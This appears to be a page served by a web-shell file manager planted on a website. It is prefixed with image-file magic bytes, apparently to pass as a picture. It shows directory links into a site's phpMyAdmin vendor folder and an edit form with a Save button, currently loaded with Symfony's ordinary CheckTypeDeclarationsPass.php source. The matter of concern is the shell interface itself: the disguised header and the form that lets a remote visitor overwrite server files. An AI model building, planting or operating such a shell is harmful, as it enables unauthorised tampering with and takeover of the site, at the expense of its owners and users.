�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2F'>phpMyAdmin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fvendor%2F'>vendor</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fvendor%2Fsymfony%2F'>symfony</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fvendor%2Fsymfony%2Fdependency-injection%2F'>dependency-injection</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fvendor%2Fsymfony%2Fdependency-injection%2FCompiler%2F'>Compiler</a>/</p><hr><h3>✏️ Editing: CheckTypeDeclarationsPass.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier &lt;fabien@symfony.com&gt;
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\DependencyInjection\Compiler;

use Symfony\Component\DependencyInjection\Argument\IteratorArgument;
use Symfony\Component\DependencyInjection\Argument\RewindableGenerator;
use Symfony\Component\DependencyInjection\Argument\ServiceClosureArgument;
use Symfony\Component\DependencyInjection\Argument\ServiceLocatorArgument;
use Symfony\Component\DependencyInjection\Container;
use Symfony\Component\DependencyInjection\Definition;
use Symfony\Component\DependencyInjection\Exception\InvalidArgumentException;
use Symfony\Component\DependencyInjection\Exception\InvalidParameterTypeException;
use Symfony\Component\DependencyInjection\Exception\RuntimeException;
use Symfony\Component\DependencyInjection\ExpressionLanguage;
use Symfony\Component\DependencyInjection\Parameter;
use Symfony\Component\DependencyInjection\ParameterBag\EnvPlaceholderParameterBag;
use Symfony\Component\DependencyInjection\Reference;
use Symfony\Component\DependencyInjection\ServiceLocator;
use Symfony\Component\ExpressionLanguage\Expression;

/**
 * Checks whether injected parameters are compatible with type declarations.
 *
 * This pass should be run after all optimization passes.
 *
 * It can be added either:
 *  * before removing passes to check all services even if they are not currently used,
 *  * after removing passes to check only services are used in the app.
 *
 * @author Nicolas Grekas &lt;p@tchwork.com&gt;
 * @author Julien Maulny &lt;jmaulny@darkmira.fr&gt;
 */
final class CheckTypeDeclarationsPass extends AbstractRecursivePass
{
    private const SCALAR_TYPES = [
        &#039;int&#039; =&gt; true,
        &#039;float&#039; =&gt; true,
        &#039;bool&#039; =&gt; true,
        &#039;string&#039; =&gt; true,
    ];

    private const BUILTIN_TYPES = [
        &#039;array&#039; =&gt; true,
        &#039;bool&#039; =&gt; true,
        &#039;callable&#039; =&gt; true,
        &#039;float&#039; =&gt; true,
        &#039;int&#039; =&gt; true,
        &#039;iterable&#039; =&gt; true,
        &#039;object&#039; =&gt; true,
        &#039;string&#039; =&gt; true,
    ];

    private $autoload;
    private $skippedIds;

    private $expressionLanguage;

    /**
     * @param bool  $autoload   Whether services who&#039;s class in not loaded should be checked or not.
     *                          Defaults to false to save loading code during compilation.
     * @param array $skippedIds An array indexed by the service ids to skip
     */
    public function __construct(bool $autoload = false, array $skippedIds = [])
    {
        $this-&gt;autoload = $autoload;
        $this-&gt;skippedIds = $skippedIds;
    }

    /**
     * {@inheritdoc}
     */
    protected function processValue($value, $isRoot = false)
    {
        if (isset($this-&gt;skippedIds[$this-&gt;currentId])) {
            return $value;
        }

        if (!$value instanceof Definition || $value-&gt;hasErrors() || $value-&gt;isDeprecated()) {
            return parent::processValue($value, $isRoot);
        }

        if (!$this-&gt;autoload) {
            if (!$class = $value-&gt;getClass()) {
                return parent::processValue($value, $isRoot);
            }
            if (!class_exists($class, false) &amp;&amp; !interface_exists($class, false)) {
                return parent::processValue($value, $isRoot);
            }
        }

        if (ServiceLocator::class === $value-&gt;getClass()) {
            return parent::processValue($value, $isRoot);
        }

        if ($constructor = $this-&gt;getConstructor($value, false)) {
            $this-&gt;checkTypeDeclarations($value, $constructor, $value-&gt;getArguments());
        }

        foreach ($value-&gt;getMethodCalls() as $methodCall) {
            try {
                $reflectionMethod = $this-&gt;getReflectionMethod($value, $methodCall[0]);
            } catch (RuntimeException $e) {
                if ($value-&gt;getFactory()) {
                    continue;
                }

                throw $e;
            }

            $this-&gt;checkTypeDeclarations($value, $reflectionMethod, $methodCall[1]);
        }

        return parent::processValue($value, $isRoot);
    }

    /**
     * @throws InvalidArgumentException When not enough parameters are defined for the method
     */
    private function checkTypeDeclarations(Definition $checkedDefinition, \ReflectionFunctionAbstract $reflectionFunction, array $values): void
    {
        $numberOfRequiredParameters = $reflectionFunction-&gt;getNumberOfRequiredParameters();

        if (\count($values) &lt; $numberOfRequiredParameters) {
            throw new InvalidArgumentException(sprintf(&#039;Invalid definition for service &quot;%s&quot;: &quot;%s::%s()&quot; requires %d arguments, %d passed.&#039;, $this-&gt;currentId, $reflectionFunction-&gt;class, $reflectionFunction-&gt;name, $numberOfRequiredParameters, \count($values)));
        }

        $reflectionParameters = $reflectionFunction-&gt;getParameters();
        $checksCount = min($reflectionFunction-&gt;getNumberOfParameters(), \count($values));

        $envPlaceholderUniquePrefix = $this-&gt;container-&gt;getParameterBag() instanceof EnvPlaceholderParameterBag ? $this-&gt;container-&gt;getParameterBag()-&gt;getEnvPlaceholderUniquePrefix() : null;

        for ($i = 0; $i &lt; $checksCount; ++$i) {
            if (!$reflectionParameters[$i]-&gt;hasType() || $reflectionParameters[$i]-&gt;isVariadic()) {
                continue;
            }

            $this-&gt;checkType($checkedDefinition, $values[$i], $reflectionParameters[$i], $envPlaceholderUniquePrefix);
        }

        if ($reflectionFunction-&gt;isVariadic() &amp;&amp; ($lastParameter = end($reflectionParameters))-&gt;hasType()) {
            $variadicParameters = \array_slice($values, $lastParameter-&gt;getPosition());

            foreach ($variadicParameters as $variadicParameter) {
                $this-&gt;checkType($checkedDefinition, $variadicParameter, $lastParameter, $envPlaceholderUniquePrefix);
            }
        }
    }

    /**
     * @throws InvalidParameterTypeException When a parameter is not compatible with the declared type
     */
    private function checkType(Definition $checkedDefinition, $value, \ReflectionParameter $parameter, ?string $envPlaceholderUniquePrefix, \ReflectionType $reflectionType = null): void
    {
        $reflectionType = $reflectionType ?? $parameter-&gt;getType();

        if ($reflectionType instanceof \ReflectionUnionType) {
            foreach ($reflectionType-&gt;getTypes() as $t) {
                try {
                    $this-&gt;checkType($checkedDefinition, $value, $parameter, $envPlaceholderUniquePrefix, $t);

                    return;
                } catch (InvalidParameterTypeException $e) {
                }
            }

            throw new InvalidParameterTypeException($this-&gt;currentId, $e-&gt;getCode(), $parameter);
        }
        if (!$reflectionType instanceof \ReflectionNamedType) {
            return;
        }

        $type = $reflectionType-&gt;getName();

        if ($value instanceof Reference) {
            if (!$this-&gt;container-&gt;has($value = (string) $value)) {
                return;
            }

            if (&#039;service_container&#039; === $value &amp;&amp; is_a($type, Container::class, true)) {
                return;
            }

            $value = $this-&gt;container-&gt;findDefinition($value);
        }

        if (&#039;self&#039; === $type) {
            $type = $parameter-&gt;getDeclaringClass()-&gt;getName();
        }

        if (&#039;static&#039; === $type) {
            $type = $checkedDefinition-&gt;getClass();
        }

        $class = null;

        if ($value instanceof Definition) {
            $class = $value-&gt;getClass();

            if ($class &amp;&amp; isset(self::BUILTIN_TYPES[strtolower($class)])) {
                $class = strtolower($class);
            } elseif (!$class || (!$this-&gt;autoload &amp;&amp; !class_exists($class, false) &amp;&amp; !interface_exists($class, false))) {
                return;
            }
        } elseif ($value instanceof Parameter) {
            $value = $this-&gt;container-&gt;getParameter($value);
        } elseif ($value instanceof Expression) {
            try {
                $value = $this-&gt;getExpressionLanguage()-&gt;evaluate($value, [&#039;container&#039; =&gt; $this-&gt;container]);
            } catch (\Exception $e) {
                // If a service from the expression cannot be fetched from the container, we skip the validation.
                return;
            }
        } elseif (\is_string($value)) {
            if (&#039;%&#039; === ($value[0] ?? &#039;&#039;) &amp;&amp; preg_match(&#039;/^%([^%]+)%$/&#039;, $value, $match)) {
                $value = $this-&gt;container-&gt;getParameter(substr($value, 1, -1));
            }

            if ($envPlaceholderUniquePrefix &amp;&amp; \is_string($value) &amp;&amp; false !== strpos($value, &#039;env_&#039;)) {
                // If the value is an env placeholder that is either mixed with a string or with another env placeholder, then its resolved value will always be a string, so we don&#039;t need to resolve it.
                // We don&#039;t need to change the value because it is already a string.
                if (&#039;&#039; === preg_replace(&#039;/&#039;.$envPlaceholderUniquePrefix.&#039;_\w+_[a-f0-9]{32}/U&#039;, &#039;&#039;, $value, -1, $c) &amp;&amp; 1 === $c) {
                    try {
                        $value = $this-&gt;container-&gt;resolveEnvPlaceholders($value, true);
                    } catch (\Exception $e) {
                        // If an env placeholder cannot be resolved, we skip the validation.
                        return;
                    }
                }
            }
        }

        if (null === $value &amp;&amp; $parameter-&gt;allowsNull()) {
            return;
        }

        if (null === $class) {
            if ($value instanceof IteratorArgument) {
                $class = RewindableGenerator::class;
            } elseif ($value instanceof ServiceClosureArgument) {
                $class = \Closure::class;
            } elseif ($value instanceof ServiceLocatorArgument) {
                $class = ServiceLocator::class;
            } elseif (\is_object($value)) {
                $class = \get_class($value);
            } else {
                $class = \gettype($value);
                $class = [&#039;integer&#039; =&gt; &#039;int&#039;, &#039;double&#039; =&gt; &#039;float&#039;, &#039;boolean&#039; =&gt; &#039;bool&#039;][$class] ?? $class;
            }
        }

        if (isset(self::SCALAR_TYPES[$type]) &amp;&amp; isset(self::SCALAR_TYPES[$class])) {
            return;
        }

        if (&#039;string&#039; === $type &amp;&amp; method_exists($class, &#039;__toString&#039;)) {
            return;
        }

        if (&#039;callable&#039; === $type &amp;&amp; (\Closure::class === $class || method_exists($class, &#039;__invoke&#039;))) {
            return;
        }

        if (&#039;callable&#039; === $type &amp;&amp; \is_array($value) &amp;&amp; isset($value[0]) &amp;&amp; ($value[0] instanceof Reference || $value[0] instanceof Definition || \is_string($value[0]))) {
            return;
        }

        if (&#039;iterable&#039; === $type &amp;&amp; (\is_array($value) || &#039;array&#039; === $class || is_subclass_of($class, \Traversable::class))) {
            return;
        }

        if ($type === $class) {
            return;
        }

        if (&#039;object&#039; === $type &amp;&amp; !isset(self::BUILTIN_TYPES[$class])) {
            return;
        }

        if (&#039;mixed&#039; === $type) {
            return;
        }

        if (is_a($class, $type, true)) {
            return;
        }

        if (&#039;false&#039; === $type) {
            if (false === $value) {
                return;
            }
        } elseif ($reflectionType-&gt;isBuiltin()) {
            $checkFunction = sprintf(&#039;is_%s&#039;, $type);
            if ($checkFunction($value)) {
                return;
            }
        }

        throw new InvalidParameterTypeException($this-&gt;currentId, \is_object($value) ? $class : \gettype($value), $parameter);
    }

    private function getExpressionLanguage(): ExpressionLanguage
    {
        if (null === $this-&gt;expressionLanguage) {
            $this-&gt;expressionLanguage = new ExpressionLanguage(null, $this-&gt;container-&gt;getExpressionLanguageProviders());
        }

        return $this-&gt;expressionLanguage;
    }
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fvendor%2Fsymfony%2Fdependency-injection%2FCompiler'>🔙 Back</a></p>